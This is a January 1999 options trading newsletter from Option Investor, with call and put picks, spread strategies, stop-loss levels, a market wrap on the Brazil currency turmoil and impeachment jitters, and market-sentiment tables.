WCOM  $71.00 $2.94 (-4.00)  In this type of trading
environment where the "big picture" whollops the average
company press release, it pays to sit on the sidelines.  We
warned in Tuesday's letter that WCOM may need to
consolidate a bit before moving up, and urged discipline
before entering another trade.  We hope you waited.  WCOM
is still a great play, but we still need to wait for the
recovery before playing this pick.  They are now at their
30 day moving average and should bounce off it, market
permitting.  $70 is their support price.  Wait for the
bounce.  If it breaks below $70 and holds, we'll re-
evaluate and likely drop it.  WCOM is in high-bandwidth
content delivery tests with AOL, which should be successful
and more fully implemented through Bell Atlantic and SBC's
DSL services.  Remember too, they just won the FTS2000
contract (worth $5 billion)to provide the U.S. Government
with voice and data services for the next 8 years

T  $82.13 -$2.63(-$2.93)  AT&T is holding up quite well
given the market retrenchment this week.  The need to move
voice and information throughout the world will not
diminish, even in a down market.  AT&T could actually
become a low cost producer who benefits from cost-conscious
users exercising corporate belt-tightening.  It behaves
like a safe haven in a down market and a tech stock in an
up market.  Volume has been heavy over the last 2 days.  If
investors wanted to dump this stock, we'd have seen more
damage to the price.  Support is at $82 with better support
at $80.  AT&T's prospects are still great with the
integration of TCI helping to complete the "last mile" of
service availability to your home.  AT&T continues to melt
the copper in favor of fiber replacement at every turn.
Wait for the bounce and confirm market direction before
playing.

DELL  $77.63 -$1.69 (-$0.18)  Dell is holding up nicely
this week given the weak market performance.  Dell's volume
has also been weak.  We spoke with investor relations and
are now able to determine that volatility has greatly
diminished, and since their split in September, volume too.
Dell used to trade 50 million shares per day on average.
As the daily average is figured, the high numbers drop off
and new, lower numbers replace them.  This will naturally
reduce the average until it more closely resembles the
actual daily trades currently taking place.  It should not
be long until these 2 more closely resemble each other.  In
other words, the low volume is no longer cause for alarm
and supports our original assessment that huge daily price
swings are a thing of the past.  Dell's story is still the
same-big sales increases, more markets served, higher
margins.  When Dell's news season picks up (Feb.-March
according to investor relations), Dell will again be on
investors' radar screens.  Nothing's changed; they're just
a little quieter.  Still on our favorites list, consider
the slight retrenchment as a buying opportunity when the
market gets over its jitters.  Now's a good time to scale
into the trade, but confirm market direction first.

LXK $97.00 3.25 (-3.56) LXK fell with the rest of the market
on Thursday. We still like LXK with earnings coming up on
the 19th of January and the strong possibility of a stock
split. The Open Buying on the Internet(OBI) standard has taken
another leap forward with the adoption of Lexmark Interna-
tional's new OBI-compliant Internet purchasing system.  The
Kentucky-based printing solutions company has adopted a new
system that eliminates many of the manual processes Lexmark
previously used to purchase indirect materials.  Lexmark
has partnered with SupplyWorks, a Web-based purchasing
services company.  For the first time, buyers are not required
to purchase software to manage supplier connections.

LOW $51.38 -.31 (-3.31) LOW showed some nice strength today
with a loss of .6%. The DOW went down over 2%. LOW was
listed as one of the stocks picked in the dartboard contest.
Whether the professionals picking LOW is good or not is
a decision you'll have to make (just kidding). Look to last
Sunday for why LOW is a pick.  LOW's has earnings in mid-
February.  No new news.

ATI $78.81 +1.56 (-.19) ATI bucked the trend on Thursday, and
went up. Rumors continue to circulate about ATI being merged
with either BellAtlantic or Vodaphone. It's rumored that VOD
is offering in the range of $90 a share. The question now is
whether Bell is willing to raise its bid to match VOD. Thursday's
price increase was mainly due to this speculation. Bell did
just get notice from the SEC that its bid would classify as
a pooling of interests.  ATI is still $11 away from the rumored
bid by Vodaphone.

LU $105.93 +1.69 (-9.32) LU is a great company, with stock
split possibilities, and earnings coming up: so why are we
dropping it? We aren't. We have re-added LU to the pick list.
Last Tuesday we dropped LU because of the buyout situation
with Ascend. On Wednesday, the deal went through and it seems
LU has finished dropping. LU opened on Wednesday at $98.50,
yet closed at $104.50. LU is scheduled to report earnings on
January 21st. This date is in debate. We will try to get the
official date from LU directly. Though they are just short
of shares necessary to do a 2-1 stock split, they could
announce a split with earnings, contingent to the vote on
increasing shares in February.

BUY CALL FEB-105 LU-BA OI=1395 at $ 9.25 SL=6.75
BUY CALL FEB-110 LU-BB OI=4290 at $ 6.75 SL=5.00
BUY CALL APR-110 LU-DB OI=2978 at $11.25 SL=8.50
BUY CALL APR-115 LU-DC OI=3300 at $ 9.00 SL=6.50

XIRC $38.13 .50 (-.37) XIRC has held up pretty well through
this market debacle.  Earnings are on January 21st and XIRC
has announced earnings with surprises of no less than 10% over
the last four quarters.  This normally will help XIRC to have
an earnings run into the announcement. XIRC's 10-dma is at
$37.00. Watch for upward movement before initiating new plays.

PICK NEWS - PUTS
******************

PUT PICK NEWS WAS NOT AVAILABLE BY PRESS TIME DUE TO
TECHNICAL PROBLEMS AT PINNACLE.

NEW CALL PLAYS

COF  Capital One Financial $127.18 1.18 (-.12 for this week)

Capital One Financial, a financial services holding company,
is the parent for Capital One Bank, one of the US's top 10
credit card companies. Using the information on consumers in
its massive databases, the company solicits Visa and
MasterCard customers by mail. The company's 3,000 variations
of annual percentage rates, credit limits, finance charges,
and fees range from platinum and gold cards for preferred
customers to secured and unsecured cards for customers with
limited credit histories. Other subsidiaries include a
federally chartered savings bank that offers credit cards,
consumer lending, and deposit services and a company that
provides internal support services.

COF is near its 52-week high and when this stock breaks out,
it tends to really go. We feel with earnings coming up on the
19th of January and the possibility of a stock split, this
could end up being a great play. COF is sitting right on its
20-dma and held up pretty well compared to the market. Watch
for upward movement and then jump on for the ride.

Preliminary numbers for credit card numbers are looking very
positive for the holiday season. An analyst at JP Morgan feels
that COF outperformed its peers. An analyst at Goldman Sachs
stated; "The combination of strong fees driven by account
growth improvement in core credit is likely to produce very
strong earnings visibility at both Capital One and Providian."
Earnings are expected to come in strong.

BUY CALL FEB-125 COF-BE OI=118 at $9.38 SL=6.75 ITM $2.18
BUY CALL FEB-130 COF-BF OI=188 at $6.75 SL=5.00
BUY CALL MAR-130*COF-CF OI=916 at $9.75 SL=7.50
BUY CALL MAR-135 COF-CG OI=  0 at $7.88 SL=6.00 (NEW STRIKE)

Picked on Jan 14th at $127.18   PE=30
Change since picked     +0.00   52 week low =$ 50.56
Analysts Ratings    9-4-3-0-0   52 week high=$132.50
Last earnings  10-98 est=1.00   actual=1.00
Next earnings  01-19 est=1.04   versus= .86

Chart = http://quote.yahoo.com/q?s=COF&d=3m
************************************************************
TLAB - Tellabs $80.69 -$0.44(+$6.38 this week)(P3W $10.18)

Tellabs is quickly becoming a powerhouse in the Telecom
equipment industry. With their TITAN and CABLESPAN systems,
and its DXX multiplexers, TLAB is raking in the money from
customers among the telephone companies, cable operators,
and government agencies.  Though they faded from news of
their failed merger of Ciena, Tellabs is still a major player.

TLAB spiked up $13 last Tuesday to $78 on 11 million shares,
$8 higher than resistance previously set at $70.  We thought
it would quickly fall back; we were wrong.  TLAB drifted back
to $74, then spiked $5 to $79, on average volume of 3.5 million.
Over the previous 3 trading days, it gained in market weakness
while giving back only $.44 in heavy trading in a downright
bearish market-a terrific sign of strength.  Technical
indicators are positive, so is the chart indicating a small
correction already taking place.  3.5 million shares traded
daily; 147 million shares in float; $3.14 per share in cash;
34% return on equitystrong fundamentals.   TLAB will be a
winner when the market turns.  We expect them to announce more
contracts in the coming weeks.  Recent news is capturing
investors' eyeballs, making for a good story.

Here goes.  Monday, Warburg, Dillion Read raised ther rating
to a "buy" citing raised earnings per share estimates to $2.35
and $2.93 from $2.30 and $2.85 for 1999 and 2000, respectively.
They further stat, "fundamentals for the telecom equipment
group has improved over the past few months which improves
visibility for Tellabs" and "Our checks with Tellabs will
report fourth quarter 1998 results slightly better than our
$0.58 earnings per share estimate, as well as having a positive
outlook for 1999" (Reuters).  Also, rumors surfaced last week
that TLAB was a targeted buyout/merger candidate, but were
quickly squashed.  Not soon enough though to draw investor
attention to the price move.

BUY CALL FEB-75 TEQ-BO OI= 776 at $9.63 SL=6.75,ITM
BUY CALL FEB-80 TEQ-BP OI=1267 at $7.00 SL=5.25,ATM
BUY CALL FEB-85 TEQ-BQ OI= 885 at $4.63 SL=2.75,OTM
BUY CALL MAR-80 TEQ-CP OI= 603 at $8.75 SL=6.50,ATM-more time
BUY CALL MAR-85 TEQ-CQ OI= 851 at $6.63 SL=4.75,OTM-more time

Picked on Jan. 14th   $80.69            PE= 38
Change since picked   $00.00            52 week low =$33.38
Analysts Ratings 15-11-3-0-0            52 week high=$93.12
Last earnings on 09-98 est=.46  actual=.49
Next earnings on 01-26 est=.59  versus=.42

Chart = http://quote.yahoo.com/q?s=TLAB&d=3m
DIS - Disney $36.06 -.06 (+3.50)

Striving to be the premier entertainment company, Disney has
revenues of $10,055.1 million. It is involved in movies,
television, theme parks and resorts, home video, travel,
books, music, theater, and creative design. Recently, It has
added an internet portal in a joint venture with Infoseek, in
which it has a 43% stake.

The past year has been tough for Disney, due to high
programming costs at its ABC division, and to weak demand for
its products in Asia.  Last week Merrill Lynch's Jessica
Reif Cohen lowered earnings estimates for the current fiscal
quarter from .27 to .23, and for the fiscal year ending Sept.
1999 from .91 to .86. She cited softness in consumer products
and broadcasting operations, and continued weakness in Asia.
However, three other analysts believe the stock is oversold
and that DIS is experiencing a recovery.  On Jan.12th, Goldman
Sachs raised their rating from Neutral to Outperform, and
Salomon Smith Barney raised theirs from Neutral to Buy. On Jan.
11th, ING Baring Furman Selz upgraded DIS to Buy from Hold.
On Jan. 12th, Disney and Infoseek launched their new
Internet portal site, Go Network (www.go.com).  Numbers show
that it will be one of the top 5 sites on the Internet.
Following the upgrades and the new portal launch, Disney
stock has performed well. Its chart looks good and it has
pushed through the major moving averages. Although it was
down today along with a lot of other stocks, it is still
up $3.50 for the week, showing strength.

Disney is still ironing out final details for production
and technical workers to return to work following a one
day strike on Nov. 3rd. Their contract had expired 3/97. The
company has named Thomas Schumaker a new president and put
him in charge of its animated movie and theater business. Also,
DIS may acquire Goldenbooks and is interested in Livent Inc.,
a theater co. When the market resumes its upward movement,
look for Disney to move back up.  Earnings are due out by
next Thursday (1/21) according to First Call.

BUY CALL FEB-35 DIS-BG OI=2699 at $3.13  SL=$1.50
BUY CALL FEB-40 DIS-BH OI=1061 at $1.00  SL=$0.00
BUY CALL APR-35 DIS-DG OI=7780 at $4.13 SL=$2.50
BUY CALL APR-40 DIS-DH OI=6098 at $2.00 SL=$1.00

Picked on Jan 14th at  $36.06           P/E=33
Change since picked:  +  0.00           52 week low =$22.50
Analysts' ratings 2-10-11-0-0           52 week high=$42.78
Last earnings on  9/98 est=.15 act=.16  surprise=7%
Next earnings    01-21 est=.26 versus .36

Chart = http://quote.yahoo.com/q?s=dis&d=3m

*************
NEW PUT PLAYS

Adobe Systems, Inc. (ADBE) - $47.69
Software

Adobe Systems, Inc. (ADBE) is a leading provider of publishing
and imaging software technologies, and the second largest
desktop software company in the world with annual revenues
approaching $1 billion. Adobe develops, markets and supports
computer software products that enable users to create,
display, print and communicate all forms of electronic
documents. Computer application products accounted for 78%
of fiscal 1997 revenues and licensing, 22%.

The Company continues to be cautious about licensing revenue
in the short term due to weak Japanese market conditions and
uncertain timing of OEM customer introductions of products
incorporating Adobe's latest technologies. The Company is
coming out of a recent restructuring and trying to focus its
resources on high growth revenue opportunities in digital
color, color inkjet, short-run on-demand digital printing,
and digital copiers... although licensing revenue is likely
to be flat in the short-term. Other risks include product
shipment delays, market acceptance of new products and
upgrades, declines in printer licensing business.

Stock likely to fail at key resistance point of $48.
Declining relative strength and aggressive earnings
projections may disappoint. Many analysts have a hold on the
stock. Slight distribution taking place among top
institutional shareholders. Likely to test 52 week lows.

Play: Failed Rally

BUY PUT FEB-50 AEQ-NJ OI=123 @ $4.63 SL=3.00
BUY PUT FEB-45 AEQ-NI OI=6 @ $2.06 SL=1.00

Chart = http://quote.yahoo.com/q?s=ADBE&d=3m

COMBINATION PLAYS   Bang! Booommm! Craaash!...What was that???
******************************************************************
January 13, 1999 update

U.S. stocks crumbled at the opening on Wednesday morning on news
that Brazil's central bank president had resigned, sparking an
across-the-board flight to quality that rocked world stock markets.
The Dow was off 136, the Nasdaq down 113 and many issues had not
yet begun to trade. By mid-morning, stocks were on the rebound,
lifted by a recovery in Brazil and massive bargain hunting. By
noon, the panic was gone and many traders were selling partial
positions to lock-in gains. At the close, the Dow fell 125 points
to 9349.56 and recouped more than half its early losses. Even so,
the decline was viewed as a reminder of market vulnerability after
a series of record highs.

Our portfolio was very active. We will begin with the new plays:
LU was the focus of our attention and it dropped hard with the
rest of the high visibility techs. The stock traded as low as $96
but the first option prices available for the FEB105C/110C left
us with a debit of $1.75. Morgan Stanley raised its rating of LU
to a "strong buy" late in the morning and that helped the stock
move higher through the day. LUV was the next offering and it was
also significantly lower at the open. The first few trades on the
FEB22C/25C went through at about $1.25 debit. LEVL was far less
affected by the morning activity and the best we could do on the
FEB30C/35C was $3.25 debit. DIS was our personal play-of-the-day
and we managed to trade along with everyone else (fighting the
overwhelmed internet brokerages) with a $4.00 opening cost-basis
for the JAN00-40C/FEB40C LEAPS/Calendar spread.

In other portfolio plays; It was a great opportunity to double-up
(reducing the cost-basis) on some of the more favorable debit
positions. AOL and OXHP were our candidates and these stocks were
down at the open. The prices were: AOL, FEB155C/160C at $1.50 and
OXHP, FEB17C/20C at $1.00. We will reflect these separate trades
in the monthly summary. Of course, some of the calendar spreads
were in need of a correction and we used the opportunity to pare
losses from the recent run-up. Short positions were closed on:
ATI; JAN70C at $7.00, GM; JAN70C at $11.00, and PCS; JAN22C at
$2.38.

T was quite a mover! In the morning melee, we purchased the JAN80C
at $2.50 (with the stock price near $82) and subsequently closed
the FEB80C during the midday rebound for $8.50.

One other opportunity arose on the NXTL straddle. The MAY35P could
have been closed for $5.25, leaving the long (call) option; MAY30C
at cost of $2.87.

January 14, 1999 update

U.S. stocks tumbled Thursday afternoon as the impeachment trial
against the President added pressure to an already shaken market.
Political instability is a catalyst for investor uncertainty and
that was evident as the DJIA fell 228 points to 9120, erasing all
the big gains for 1999. The Nasdaq Composite Index was also lower,
down 40 points at 2276. Stocks have been poised for a downturn
following the recent run-up in prices but some thought the strong
U.S. economy would protect the stock market from the impeachment
drama. However, the trial opened in an investment climate that had
already been shaken by the devaluation of Brazil's currency and
jittery investors flocked to the exits.

On Thursday, we used the morning bounce to fill some of our open
calendar positions: On ATI, we rolled up to the FEB75C at a bid
price of $7.25; GM was also moved to a diagonal spread with the
sale of the FEB75C for $8.50 and PCS was moved to the next higher
strike with a FEB25C at $2.87. These spreads are no longer neutral
and are now more aggressive with the new strike positions but we
expect all of these stocks to remain at-or-above current prices.

For Friday, we still have a number of suspect issues. CPQ and CD
are near the sold strikes and we may need to close those positions
before the day is over. FTU is fading as the merger speculation
dwindles and LU is still "one to watch" as the ASND deal unfolds
and the company earnings report aproaches. Good Luck!

    - NEW PLAYS -
CIEN - Ciena Corp.  $18.68     Merger Speculation

CIENA Corporation designs, manufactures and sells architecture,
dense wavelength division multiplexing systems for fiberoptic
communications networks. In September, Ciena and Tellabs cancelled
their merger agreement and shares in the rival equipment makers
fell sharply after Ciena's financial outlook soured, primarily
because an expected contract from AT&T fell through. In early
January, coverage was initiated by Prudential as the telecom
sector started to soar. Then the share price spiked on speculation
the telecommunications equipment-maker might find a merger partner
after the announced purchase of Ascend by Lucent. Some say there
is a market rumor that Cisco Systems is preparing a bid of $25-$28
per share for Ciena. Technically, the stock price is back in a
recent trading range around $17 (November-early December) and we
will use this previous support and the excellent OTM premiums to
create a favorable play.

PLAY (very conservative):

BUY  CALL FEB-12.50 EUQ-BV OI=351  A=$6.75
SELL CALL FEB-17.50 EUQ-BW OI=4098 B=$3.25
NET DEBIT TARGET=$3.38 ROI(max)=47%

PLAY (conservative):

BUY  CALL FEB-12.50 EUQ-BV OI=351 A=$6.75
SELL CALL FEB-20.00 EUQ-BD OI=281 B=$2.12
NET DEBIT TARGET=$4.38 ROI(max)=71%

Chart = http://quote.yahoo.com/q?s=CIEN&d=3m
SDTI - Security Dynamics  $25.50     Put-Credit Spread

SDTI provides enterprise network and data security solutions to
help companies conduct business securely, protect corporate assets
and facilitate electronic commerce. Most of the recent lawsuits
have been forgotten and the analyst upgrades have had a positive
effect. The company started a market trial program designed to
simplify implementation of higher levels of security for customers
like IBM and also introduced SecurWorld, a new flexible program
for delivering two-factor authentication on the web. Just a good
technical play with Internet bias. The stock price is trading
above all recent resistance and the current trend remains bullish.

PLAY (aggressive):

BUY  PUT FEB-17.50 QSD-NW OI=25 A=$0.87
SELL PUT FEB-20.00 QSD-ND OI=12 B=$1.38
NET CREDIT TARGET=$0.62 ROI=33%

Chart = http://quote.yahoo.com/q?s=SDTI&d=3m
SRCM - Source Media  $20.87     Put-Credit Spread

SRCM is a provider of on-demand information and programming
through cable television and telephone lines, using the company's
proprietary digital operating systems to mass market consumers.
Source Media delivers more than 15,000 advertiser-driven audio
programs. Customers can subscribe to Source Media audio content
and have it featured on their web site as a type of Internet radio
show. The company has launched new audio programming with online
broadcaster, Broadcast.com which includes weather, sports and
stock news. SRCM says the roll-out of Internet audio shows means
it now has content and advertising on personal computers, digital
cable TV and telephones. A rumored deal with American Online may
also be causing some of the buying pressure and the stock has good
technical suppport around $17.

BUY  PUT FEB-15.00 SQ-NC OI=2   A=$1.38
SELL PUT FEB-17.50 SQ-NW OI=280 B=$2.00
NET CREDIT TARGET=$0.75 ROI=$42%

Chart = http://quote.yahoo.com/q?s=SRCM&d=3m
AAPL - Apple Computers  $41.38     Put-Credit Spread

AAPL designs and manufactures and markets personal computers and
related personal computing and communicating solutions for sale
to business, education, home and government customers. A few weeks
ago, shares of Apple jumped after its iMac consumer PC was named
the top-selling personal computer at the retail level during the
month of November. Not only was the iMac the leading product, it
has been the number one selling PC since its introduction back in
August. The iMac has captured 5.9% of retail unit sales and it was
the only PC to break into the top five best-sellers group in four
months.

Now the bad news; one day after reporting excellent earnings, APPL
dropped $5.12 when an analyst voiced concerns about the pricing of
its iMac. This surprise downgrade comes even as the computer maker
reported revenues that easily surpassed Wall Street expectations.
The APPL chart looks negative from a short-term perspective but
there is still a long history of support around $37. Play this one
on downward momentum by opening the long position first. Then sell
the short position when the stock price firms, to create the credit
spread.

BUY  PUT FEB-$35.00 AAQ-NG OI=400 A=$1.18
SELL PUT FEB-$37.50 AAQ-NU OI=400 B=$1.75
NET CREDIT TARGET=$0.75 ROI=42%

Chart = http://quote.yahoo.com/q?s=AAPL&d=3m
REFER TO THE MID-WEEK PLAY OF THE DAY...SUNW...
SUNW - Sun Microsystems  $94.50     Calendar Spread/LEAPS

SUNW supplies enterprise network computing products including
desktop systems, servers, storage subsystems, network switches,
software, microprocessors and a full range of services.

Personally, I just like this company from long-term perspective
and the "Covered-calls on LEAPS" strategy is a favorable way to
take advantage of the extreme near-term option premiums.

Please refer to the January 12, newsletter article concerning
SUNW for more information:

http://www.optioninvestor.com/playoftheday/index.asp

PLAY (conservative/long-term):

BUY  CALL JAN00-100 LSU-AT OI=1580 A=$19.63
SELL CALL FEB-100   SUQ-BT OI=3181 B=$5.87
NET DEBIT TARGET=$13.50 ROI TARGET=100%

Note: In the long-term calendar spread, we are reducing the net
cost of the LEAP by the amount of credit from the sale of the
nearer term call. If the near-term call expires worthless, we will
sell the MAR call to further reduce our debit. If your short-term
position is ITM on the last day of the strike, you need to buy it
back so that you DON'T have to exercise the long-term position. In
that case, your LEAP is going up in value also and on the last day
of the strike period, the short call will shrink down to intrinsic
value so you will be ahead in the play even after you buy it back.

Chart = http://quote.yahoo.com/q?s=SUNW&d=3m

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	From:  trials@optioninvestor.com (Option Investor Newsletter     Trials)      
                      01/14/99 09:18 PM
	
Please respond to trials@optioninvestor.com
To: Option Investor Newsletter Trials <trials@optioninvestor.com>
Subject: Thursday - Option Investor Newsletter 1 of 2

Posted online for subscribers at http://WWW.OPTIONINVESTOR.COM

Also provided as a service to The Online Investor Advantage

Published three times weekly, Sunday, Tuesday, Thursday evenings.
MARKET WRAP  (view in courier font for table alignment)
        1-14-98         High     Low     Volume   Advances Decline
DOW     9120.93 -228.63 9359.08  9087.72  797,953k    880   2,145
Nasdaq  2276.82 - 39.99 2338.29  2276.36 1015,400k  1,898   2,175
S&P-100  600.85 - 11.98  614.39   599.06   Totals   2,778   4,320
S&P-500 1212.19 - 22.21 1236.81  1209.48            39.1%   60.9%
$RUT     420.10 -  4.76  426.99   420.10
$TRAN   3080.28 - 89.14 3180.96  3077.42
VIX       34.74 +  3.48   36.79    31.33
Put/Call Ratio      .70

Japan, Asia, Russia, Brazil. Who is next??

Another day, another excuse for profit taking. The market sold off
again with the Brazilian flu along with a dose of impeachment blues.

The market started down early and showed little interest in turning
around. The rumors from Brazil were all negative. Coupled with the
resignation of yet another government official the rumor that the
Central Bank was set to let the Real float knocked the Brazil market
for another -10% loss. Floating the Real, the Brazilian currency,
would be a drastic devaluation since the currency would then be free
to find its own level.

Floating could start the domino theory fall of all the surrounding
Latin American countries that depend on Brazil for trade. Chile and
Argentina would be the first to go. If South America were to devalue
as a group then the countries who export to South America would be
put on a diet. The U.S., depending on who you talk to and what area
they reference, exports to South America account for between 17-25%
of our total. Companies like Colgate derive 40% of their revenue from
Latin countries.

If the feared event happened then the results would be drastic. The
companies who derive a large percentage of their business from there
would suffer huge earnings shortfalls. Layoffs could occur, plant
closings, etc. That would be the extreme but it is possible. Possible
but not probable. There are many things that can and will happen
before we get to that point. Rest assured that every Fed head in the
world is concerned about the Brazil problem. The IMF will be very
interested in preventing this scenario. Cardosa is very interested.
Power and pressure are being brought to bear. The Brazil Central
Bank issued a strongly worded press release stating they would use
every means at their disposal to prevent floating the Real. They
said they would use their $50 bln in reserves to protect the Real.
This was only minimally comforting to the market this afternoon.
Memories of many other countries last minute claims to the same
intent, and then immediate devaluation, are fresh. Russia was the
latest. While analysts feel there could be serious impacts from a
possible worst case, they also feel that the market has now discounted
the most likely scenario which is months of protracted, painful,
negotiations ending in an agreement of some sort to yet another bail
out. No harm, no foul. Just uncertainty.

Meanwhile the market has now "corrected" five percent off its record
high of just last week. My how short our memory can be. 9643, only
five trading days ago. Champagne was already being ordered for the
Dow 10,000 celebration. Should we cancel the order? Not hardly.

As I have said many times the market cycles. Remember last week when
I kept warning you about an impending bout of profit taking. Its'
here and I don't think it is over. Fear of darkness is only beaten
out by one other thing. Fear of a long holiday weekend. Yep, closed
Monday for MLK day. I have already had one of my brokers call me to
ask if I want some currency positions left open over the long weekend.
Seems the currency market closes at 1:PM on Friday. Now if you were
a country that needed to manipulate some currency to benefit your
country, a U.S. holiday would be the perfect time. Don't laugh.
Japan does it all the time. The same thing on a smaller scale can
happen to stock profits held over a holiday. Events happen, mass
exodus at Tuesday's open. Remember Wednesday morning?

You may think I have put on a fur coat. Far be it from the truth.
I am long several hundred contracts of tech stocks and I am looking
for a recovery soon. Again, being long does not make me right, just
very interested in the outcome.

I have not elaborated on the market impact from the impeachment trial
and won't because I don't think there is any impact. As I have said
before, the chances of a guilty vote are about zero and the market
knows this.

If you watched any market TV today then you know the Internet stocks
are finally starting to weave. They are getting beat from all sides.
Brokers are cutting the ratings on the high flyers left and right.
Funny how the smell of blood brings out the crowd. Nobody would cut
them last week when they were adding $20 a day. It is dogpile time
now. To add insult to injury the online brokers are now starting
to prevent customers from actually buying the stocks. I am not
kidding. Some have taken them off the margin list. If you want to
buy you have to pay cash, 100%. Others will not let you buy them
online. You have to call a broker and wait on the line while they
verify your eligibility to purchase high risk investments! Others
refuse to execute the trades at all. You might hurt yourself. Does
it strike you strange that Internet brokers will not let you buy
Internet stocks??? What ever happened to the concept of "it is
your money not theirs." In the face of this conspiracy to protect
you from yourself the Internets are losing ground quickly. Except
AOL. AOL has somehow avoided the label of "overpriced" and actually
garnered several honorable mentions from analysts downgrading other
Internet stocks. Guess where Internet money will go now?

For you technicians out there the pendulum has swung from
overbought to oversold in a very short period of time. The Dow
is now down -522 points in the last five days. Both the Dow and
the Nasdaq have corrected about 5%. Just as the sharp run up last
week was begging for a dip, this sharp dip is now begging for a
rally. The big drop today was on the lightest Dow volume in over
a week. Not as much conviction today just a lack of buyers. This
was also the third triple digit loss in a row. As I mentioned
earlier I think the odds for a down day Friday are still pretty
good. The wild card again is the options expiration which normally
provides an upward bias. I can't build a case for a strong move
upward because of Brazil and the holiday but I can see a strong
Tuesday coming as long as Brazil does not meltdown over the weekend.
Earnings will be on us in earnest next week with MSFT, LU, SUNW
announcing along with dozens of others. I think the focus on
Brazil will have dimmed and the anticipation of upside surprises
will take center stage.

Good Luck

Jim Brown

Market Posture
As of Market Close - Thursday, January 14, 1999

                   Major Support
Broad Market         /Resistance    Last    Posture/Since  Alert

DOW Industrials    9,400   9,730   9,121    BEARISH   1.14 *
SPX S&P 500        1,200   1,280   1,212    Neutral   1.12
OEX S&P 100          580     635     601    Neutral   1.12
RUT Russell 2000     400     435     420    Neutral   1.12

NDX NASD 100       1,900   2,010   1,906    Neutral   1.08
MSH High Tech        870     980     931    Neutral   1.08

Technology           /Resistance    Last    Posture/Since  Alert
XCI Hardware         800     875     836    Neutral   1.08
CWX Software         600     665     619    Neutral   1.08
SOX Semiconductor    360     400     392    Neutral   1.08
NWX Networking       400     450     427    Neutral   1.08
INX Internet         425     570     474    Neutral   1.08

Financial            /Resistance    Last    Posture/Since  Alert
BIX Banking          660     710     647    BEARISH   1.14 *
XBD Brokerage        545     725     638    Neutral   1.14 *
IUX Insurance        600     620     588    BEARISH   1.14 *

Other                /Resistance    Last    Posture/Since  Alert
RLX Retail           800     860     814    Neutral   1.08
DRG Drug             720     795     740    Neutral   1.08
HCX Healthcare       710     780     726    Neutral   1.08
XAL Airline          310     350     312    Neutral   1.12
OIX Oil & Gas        245     260     240    BEARISH   1.14 *

Posture Alert

After tumbling more than 350 points over the past two days, we
have turned BEARISH across the Dow Jones 30 and select
industry sectors including Banking, Insurance and Oil & Gas.

A detailed description of our Market Posture and its
applications can be found at:

www.optioninvestor.com/marketposture

Market Sentiment - By Pinnacle Capital Advisors

Stay Focused on the Pinnacle Index

After selling off precipitously over the past couple of days, it
is very important to keep in eye on the Pinnacle Index and other
put/call ratios for clues as to whether the sell-off is a major
reversal or profit taking.

Based upon the early returns, it appears that most option
speculators are viewing the sell-off as profit taking and this
could be prove BEARISH over the near-term.  Despite the negative
economic news from Brazil, the Pinnacle Index actually climbed
and other put/call ratios indicate increased call buying.

Add this to the latest Bullish figures from Investors
Intelligence (60% Bullish 1/14) you get the impression that
investors are ignoring economic and corporate earnings pressures.

Pinnacle's short-term indicators are still flashing bearish
overtones over the near-term so we advise subscribers to
tightly protect their long positions.  Any questions
regarding market sentiment can be directed at:
pinnacle@optioninvestor.com

Market Sentiment at a Glance
********************************************************************
                                Friday    Tues    Thurs
Indicator                       (1/8)    (1/12)   (1/14)   Alert

Pinnacle Index (OEX):
-----------------------------------------------------------------
Overhead Resistance (620-635)             1.3      2.3
Underlying Support  (595-610)             2.4      2.4

Put/Call Ratios:
CBOE Total P/C Ratio               .5      .5       .5
CBOE Equity P/C Ratio              .4      .4       .4     *
OEX P/C Ratio                     1.2     1.2      1.2

Peak Open Interest (OEX):

Puts                              575     575      575
Calls                             620     630      630
P/C Ratio                         1.3     1.0      1.0

Market Volatility Index (VIX):
CBOE VIX                         24.8    26.4      34.0     *

Investors Intelligence:
Bullish                          58.3%   58.3%     60.0%    *
Bearish                          30.0%   30.0%     30.0%

The Power of Expectation Analysis

It has often been said that the crowd is right during the
market trends but wrong at both ends.  Measuring and
evaluating the sentiment of the crowd, therefore, can give
savvy option traders a decided edge.

Pinnacle Index
OEX                             Friday    Tues     Thurs
Benchmark                       (1/8)     (1/12)   (1/14)

                    (630-635)               1.9      3.8
                    (620-625)                .8      1.5
Overhead Resistance (620-635)               1.3      2.3

OEX Close                        636.0    616.5    600.9

Underlying Support  (595-610)               2.4      2.4
                    (605-610)               1.5      1.7
                    (595-600)               4.1      4.1

Average ratings:
Resistance levels 2.0 / Support .5

What the Pinnacle Index is telling us:
Overhead sentiment resistance is Moderate at the OEX 620/635
level while the underlying support is moderately firm.

Put/Call Ratio
                                Friday    Tues     Thurs
Strike/Contracts                (1/8)     (1/12)   (1/14)
CBOE Total P/C Ratio              .50       .49       .52
CBOE Equity P/C Ratio             .38       .36       .38
OEX P/C Ratio                    1.16      1.19      1.23

Peak Open Interest (OEX)
                     Friday          Tuesday          Thurs
Strike/Contracts     (1/8)           (1/12)           (1/14)
Puts                 575 / 12,419    575 / 13,004     575 / 13,896
Calls                630 / 10,341    630 / 12,009     630 / 14,349
Put/Call Ratio       1.20            1.03             .97

Volatility Index (VIX)
                    Major
Date                Turning Point       VIX
October 97          Bottom              54.60
July 20, 1998       Top                 16.88
October 8, 1998     Bottom              60.63
January 11, 1998    Top                 26.38

January 14, 1999                        34.01

Investors Intelligence Survey
                    Major             Percent     Percent
Date                Turning Point     Bullish     Bearish
October 97          Bottom            22.0        48.3
July 20, 1998       Top               52.0        24.0
October 8, 1998     Bottom            38.5        42.7
January 11, 1999    Top               58.3        30.0
January 14, 1999                      60.0        30.0   *

Please view this in COURIER 10 font for alignment
RESULTS THIS WEEK

Index Last Mon Tue wed Thu Week
Dow 9121 -23 -145 -125 -229 -522.39 Going for five in a row.
Nasdq 2277 40 -64 -4 -40 -67.59
$OEX 601 -7 -13 -4 -12 -35.17
$SPX 1212 -11 -24 -5 -22 -62.9
$RUT 420 2 -6 -3 -5 -11.13
$TRAN 3080 -74 -80 -37 -89 -280
$VIX 34.74 2.5 3.3 4.9 3.5

Stock Price Mon Tue wed Thu Week

CMGI 105.0 71.75 -5.25 -17.3 -8.44 40.75 Dropped
ASND 82.13 5.25 -1.75 5.38 1.81 10.69 Dropped..bought by LU.
TLAB 80.69 5.19 -2.00 3.63 -0.44 6.38 New pick, Showing strength
SUNW 94.50 3.13 -0.63 3.44 -2.31 3.63 IBM and SUNW-in your dreams
DIS 36.06 2.69 2.75 -1.87 -0.06 3.50 New pick
EMC 93.88 1.31 -4.38 1.81 1.56 0.30 Momentum still strong
